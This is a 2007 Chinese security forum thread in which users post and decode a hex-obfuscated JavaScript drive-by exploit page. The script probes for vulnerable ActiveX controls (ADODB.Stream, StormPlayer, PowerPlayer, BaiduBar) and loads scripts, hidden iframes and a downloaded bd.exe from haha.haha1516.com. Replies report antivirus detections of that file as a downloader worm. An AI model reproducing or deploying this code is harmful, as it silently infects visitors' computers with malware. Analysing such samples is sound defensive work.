还有一段代码

绅博周幸

<SCRIPT LANGUAGE='JavaScript'>
function ResumeError() {
return true;
}
window.onerror = ResumeError;
</SCRIPT>
<SCRIPT LANGUAGE="JavaScript">
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x7d\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x3d\x69\x6e\x69\x74\x3b\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x6b\x6f\x6f\x3d\x69\x65\x6f\x72\x65\x72\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x68\x61\x68\x61\x2e\x68\x61\x68\x61\x31\x35\x31\x36\x2e\x63\x6f\x6d\x5c\x2f\x77\x65\x62\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x65\x6c\x73\x65\x7b\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x7d\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x68\x61\x68\x61\x2e\x68\x61\x68\x61\x31\x35\x31\x36\x2e\x63\x6f\x6d\x5c\x2f\x77\x65\x62\x5c\x2f\x62\x66\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x7d\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x68\x61\x68\x61\x2e\x68\x61\x68\x61\x31\x35\x31\x36\x2e\x63\x6f\x6d\x5c\x2f\x77\x65\x62\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x7d\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x68\x61\x68\x61\x2e\x68\x61\x68\x61\x31\x35\x31\x36\x2e\x63\x6f\x6d\x2f\x61\x64\x2e\x63\x61\x62\x22\x2c\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x30\x29\x7d\x7d\x69\x66\x28\x66\x3d\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x26\x26\x67\x3d\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x26\x26\x68\x3d\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x69\x66\x72\x61\x6d\x65\x20\x77\x69\x64\x74\x68\x3d\x27\x31\x30\x27\x68\x65\x69\x67\x68\x74\x3d\x27\x31\x30\x27\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x68\x61\x68\x61\x2e\x68\x61\x68\x61\x31\x35\x31\x36\x2e\x63\x6f\x6d\x5c\x2f\x77\x65\x62\x5c\x2f\x33\x2e\x68\x74\x6d\x27\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e\x22\x29\x7d\x7d\x7d\x7d")
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("\x3c\x69\x66\x72\x61\x6d\x65 \x77\x69\x64\x74\x68\x3d\x27\x30\x27 \x68\x65\x69\x67\x68\x74\x3d\x27\x30\x27 \x73\x72\x63\x3d\x27\x68\x74\x74\x70\x3a\x2f\x2f\x68\x61\x68\x61\x2e\x68\x61\x68\x61\x31\x35\x31\x36\x2e\x63\x6f\x6d\x2f\x77\x65\x62\x2f\x32\x2e\x68\x74\x6d\x27\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e");
/*\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x68\x61\x68\x61\x2e\x68\x61\x68\x61\x31\x35\x31\x36\x2e\x63\x6f\x6d\x5c\x2f\x77\x65\x62\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x65\x6c\x73\x65\x7b\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x7d\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72*/
</SCRIPT>

绅博周幸

刺猬兄帮忙

风野胤

和那个g.exe是一个东西
不过是叫bd.exe

jln

function init(){document.write()}window.onload=init;if(document.cookie.indexOf('OK')==-1){try{var e;var ado=(document.createElement("object"));ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var as=ado.createobject("Adodb.Stream","")}catch(e){};finally{var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='ckoo=ieorer;path=/;expires='+expires.toGMTString();if(e!="[object Error]"){document.write("<script src=http:\/\/haha.haha1516.com\/web\/1.js><\/script>")}else{try{var f;var storm=new ActiveXObject("MPS.StormPlayer")}catch(f){};finally{if(f!="[object Error]"){document.write("<script src=http:\/\/haha.haha1516.com\/web\/bf.js><\/script>")}}try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1")}catch(g){};finally{if(g!="[object Error]"){document.write("<script src=http:\/\/haha.haha1516.com\/web\/pps.js><\/script>")}}try{var h;var obj=new ActiveXObject("BaiduBar.Tool")}catch(h){};finally{if(h!="[object Error]"){obj.DloadDS("http://haha.haha1516.com/ad.cab","bd.exe",0)}}if(f=="[object Error]"&&g=="[object Error]"&&h=="[object Error]"){document.write("<iframe width='10'height='10'src='http:\/\/haha.haha1516.com\/web\/3.htm'></iframe>")}}}}

[ 本帖最后由 jln 于 2007-12-14 13:21 编辑 ]

xqiafl

LZ,   你的代码还真是多啊!

qigang

呵呵，高手！

a750828

McAfee New Malware.aq

gho

mcafee同上

gho

detected: virus Worm.Win32.Downloader.bd        File: C:\Documents and Settings\gho\×&Agrave;&Atilde;&aelig;\bd.exe//NSPack

微点卫士

蠕虫名称:Worm.Win32.Downloader.mj

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR.DDB55590E8074DB\桌面\BD.EXE
是蠕虫程序!
已成功阻止其运行,是否要删除此文件?